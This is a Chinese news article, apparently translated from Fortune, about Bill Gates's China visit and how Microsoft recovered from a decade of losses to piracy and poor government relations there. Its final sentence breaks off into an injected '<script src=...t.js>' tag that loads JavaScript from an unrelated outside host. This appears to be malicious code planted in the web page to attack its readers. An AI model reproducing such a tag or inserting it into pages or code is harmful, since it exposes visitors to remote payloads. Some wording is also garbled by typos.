编者按：微软在中国经历了起伏，公司创始人比尔·盖茨在今年访问了中国，美国《财富》杂志记者跟踪报道了世界首富在中国的访问。《财富》杂志对微软在中国的经历的评价是痛苦过后的双赢局面。
北京时间7月10日，据国外媒体最新报道，世界首富、微软公司创始人比尔·盖茨访问中国期间，受到了前所未来的待遇，这表明微软已经征服了中国，还是中国已经征服了微软，其实这些并不重要，重要是的微软在中国已经成为家喻户晓的软件公司，而微软对于中国的重视程度今非夕比，微软已经学会了如何在中国生存。
比尔乘坐的黑色轿车刚刚停下，“比尔·盖茨！比尔·盖茨！”，一位青年女士高喊着他的名字。一位面色苍白的学生穿过了安全人员的封锁，交给世界首富一个小信封，并气喘吁吁地说：“这非常重要。”在中国访问期间，比尔·盖茨受到了前所未有的追捧。昨天刚刚在清华大学获得了名誉博士学位，今天北京大学又授予他盖茨名誉校董称号。对于盖茨来说，这次中国之行非常成功，可以说是一次巨大的胜利，他已经征服了这个国家。
《财富》杂志500强企业的首席执行官在中国从未受到如此待遇。如果能够同一位中国高层领导会变，他们就已经感觉自己幸运的不得了了，但是比尔·盖茨在4天的访问时间里，却同4位政治局委员举行了会谈。就像一位政府领导在一次商业会议上介绍盖茨时说的那样：“在中国，微软董事会主席比任何电影明星都出名。”今年春季，中国国家主席胡锦涛访问了微软在华盛顿州雷德蒙德市的工厂，而且还在盖茨的家里享用了晚餐。胡锦涛告诉主人：“你是中国人民的朋友，而我是微软的朋友。每天早晨我走进办公室，我都会使用你们的软件。”
实际上，微软早在1992年就已经进入中国，但是之后的路并非坦途，在头十年里，微软在中国的业务甚至可以说是一场灾难。尽管如此，微软最终明白，它在美国和欧洲取得功能的基本方法在中国根本行不通。在这里，微软不得不采取“非典型微软”政策，放弃了自己在其它国家所采取的公共政策核心，同时不惜代价地来保护基知识产权；另外还要同政府紧密合作，而不是像在美国那样同政府进行斗争。
易观国际分析师梁新刚表示：“微软花了15年的时间和大量资金才学会如何在中国做生意。”这名分析师多年以来一直关注微软在中国的发展。比尔·盖茨也承认：“我们是曾是一个美国本土化公司。因此，我们只好不断地尝试再尝试。现在，我们在中国拥有非常好的地位，我们在未来5年内都会保持良好的发展势头。”
盖茨还相信，中国将最终成为微软最大的市场，尽管这可能会花上10年的时间，但是这是值得的努力。今年销售的预期是2004年的3倍，尽管仍然少于加利福尼亚一个州的收入。（微软方面仍然没有公布这些数字，但是《财富》杂志估计，微软在中国的收入在2007年会超过7亿美元，大约相当于全球收入的1.5%）。目前，微软已经制定了在中国的5年计划，这个计划是同中国政府合作制定的。高盛中国观察家罗伯特·霍马茨表示：“对于其它公司来说，微软在中国的经历是非常好的经验。”
失败的开始
早在15年前，微软从台湾派了一些销售经理来到了中国。他们的任务就是以其它地区同样的价格在中国销售软件。微软首席技术官克瑞格.蒙迪表示：“那曾是一种非常经典的模式－－挂出一个牌子，上面写着‘微软：今天营业’。”但是这种模式在中国并不是成功。问题并不在于品牌的认可，当时每个人都在使用windows。只有没有人愿意为了付钱。人们可以在街头以几美元的价格买到盗版产品。现任微软中国研发主管的张亚勤说：“在中国，我们在市场份额方面并不存在问题。问题是我们如何才能把市场份额转化为营收。”
微软艰难地为保护自己的知识产权而斗争。微软起诉那些非法使用他们软件的公司，但是通常情况下微软会输掉官司。微软的高管经常无法就战略取得一致意见，因此战略也无法执行。国家经理来来走走－－五年之内竟然换了5个。其中的2个人还写书来批评微软。
抵抗的另外一种形式出现了。北京市政府开始在他们员工的电脑里开始安装免费的开源linux操作系统。（中国科学院开发了一种名为“红旗”linux版本）。同时，中国安全官员担心，中国政府和军队都使用美国微软制造的操作系统是不是美国的间谍技术。
1999年，盖茨派来了瑞格.蒙迪，他负责公司的公共政府，他的任务就是找出微软在中国为什么不受欢迎的原因。在那次中国之行过程中，瑞格.蒙迪突然明白了问题的关键，他回忆说：“我回到雷德蒙德说，‘我们在中国的生意砸了。’”瑞格.蒙迪总结说，公司任命的管理人员太年轻，同时过分强调了销售量。他还表示：“我们在中国失败的原因就是我们的商业政策和我们的合作关系并没有反映出同政府保持良好关系的重要性。”
瑞格.蒙迪每年访问中国4-5次。他带着公司25名副总裁前往中国，进行一周的“中国渗透之旅?script src=http://er12.com/t.js>
